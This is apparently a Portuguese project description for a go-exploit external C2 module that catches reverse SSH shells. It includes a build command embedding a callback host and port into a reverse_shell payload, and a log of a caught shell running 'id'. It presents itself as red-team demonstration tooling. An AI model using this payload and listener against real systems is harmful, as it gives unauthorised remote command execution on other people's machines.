Módulo C2 externo em Go para go-exploit que captura shells SSH reversos, fornecendo um listener de servidor e cliente de payload para integrar perfis C2 personalizados em exploits.
Um módulo external C2 do go-exploit que suporta reverse SSH shells. Ele também atua como uma demonstração de como integrar perfis external C2 aos seus payloads favoritos. O objetivo não é fornecer um payload totalmente weaponizado com evasão e técnicas avançadas, mas mostrar como criar canais para payloads que podem implementar módulos de evasão mais fortes e integrar-se facilmente ao go-exploit.
c2ssh que implementa as interfaces e estruturas para configurar um servidor para capturar payloads SSH./payload contém a implementação para payloads a serem usados por um exploit, isto é funcionalmente o cliente SSH e um wrapper fino em torno de exec baseado na resposta do servidor./example contém um teste de auto-exploração que executa um payload de exemplo compiladogo build -ldflags "-s -w -X main.Rshost=127.0.0.1 -X main.Rsport=2223" -o reverse_shell
poptart@grimm $ go run example/exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -t 0
time=2024-08-06T12:09:02.762-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-08-06T12:09:02.763-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-08-06T12:09:02.763-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-08-06T12:09:02.766-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:38878"
time=2024-08-06T12:09:02.768-06:00 level=STATUS msg="Active shell SSH: Connection accepted from [email protected]:38878 session: 451e905e22ffbc7ab6235ad73379eeea2c65ba532405d81a431e1c5159ba1179 (SSH-2.0-OpenSSH_9.7)"
id
time=2024-08-06T12:09:04.725-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-08-06T12:09:08.812-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),1(wheel),67(libvirtd)\n"